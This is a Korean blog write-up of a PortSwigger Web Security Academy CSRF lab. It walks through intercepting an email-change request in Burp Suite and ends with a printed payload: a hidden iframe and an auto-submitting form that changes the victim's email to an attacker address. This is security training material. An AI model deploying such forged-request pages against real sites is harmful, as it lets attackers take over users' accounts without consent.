본문 바로가기

Wargame(hacking)/PortSwigger

Lab: CSRF vulnerability with no defenses

 

< 문제 >

 

https://portswigger.net/web-security/csrf/lab-no-defenses

 

Lab: CSRF vulnerability with no defenses | Web Security Academy

This lab's email change functionality is vulnerable to CSRF. To solve the lab, craft some HTML that uses a CSRF attack to change the viewer's email address ...

portswigger.net

 

< Write-Up >

 

해당 문제의 사이트에는 My Account page가 존재한다. 해당 페이지에서, email 업데이트 및 확인이 가능하다. email 업데이트 패킷을 아래 그림 1과 같이 버프슈트로 Intercept 해보았다. 

 

그림 1

 

해당 요청은 POST로 전달이 되며, 요청 경로는 /my-account/change-email 이다. 그리고 body값으로 email에 대한 값이 전달되는 것을 확인했다. exploit을 위해 해당 문제풀이 사이트 내에 있는 exploit server로 가 response body에 아래 그림 2 와 같이 Payload를 작성하였다. 

 

그림 2

 

그림 2 작성 후, View exploit을 통해 결과를 확인해보았고, 그 결과는 아래 그림 3과 같다. 

 

그림 3

 

위 그림2의 action에 맞게 email이 변경된 것을 볼 수 있다. 즉, victim server에 해당 payload를 보낸다면 CSRF공격에 성공할 수 있다. 

 

그림 4

 

그림 4와 같이 Payload를 작성 후 victim에게 전달한다. 

 

그림 5

 

 

아래와 같이 iframe태그를 이용해도 email을 변경할 수 있지만, iframe 페이지가 보이기에 Victim이 알아채기 쉬워 아래의 payload는 사용하지 않을 것 같다. ( <iframe name="ifr" width="100" height="100"> 로 변경 후 View를 해보자! )

 

<iframe name="ifr" style="display:none"></iframe>
<form target="ifr" name = "frm" method="post"
action="https://0aae00eb04b683be818e668a007200f3.web-security-academy.net/my-account/change-email" enctype="multipart/form-data">
<input type="hidden" name="email" value="helloworld@hacker.com">
</form>

<script>
document.frm.submit();
</script>

 

 

 

 

 

< 참고 >

 

https://www.bugbountyclub.com/pentestgym/view/47

 

CSRF (크로스 사이트 요청 위조) | Pentest Gym | 버그바운티클럽

이 훈련에서는 CSRF(Cross-Site Request Forgery) 취약점에 대해 살펴보고, CSRF 공격에 취약한 실습 환경을 통해CSRF 취약점을 직접 연습해보

www.bugbountyclub.com

 

https://learn.snyk.io/lesson/csrf-attack/

 

CSRF Attack | Tutorial & Examples | Snyk Learn

Learn how a cross site request forgery (CSRF) attack works, and how to detect and fix it with real-world examples from security experts.

learn.snyk.io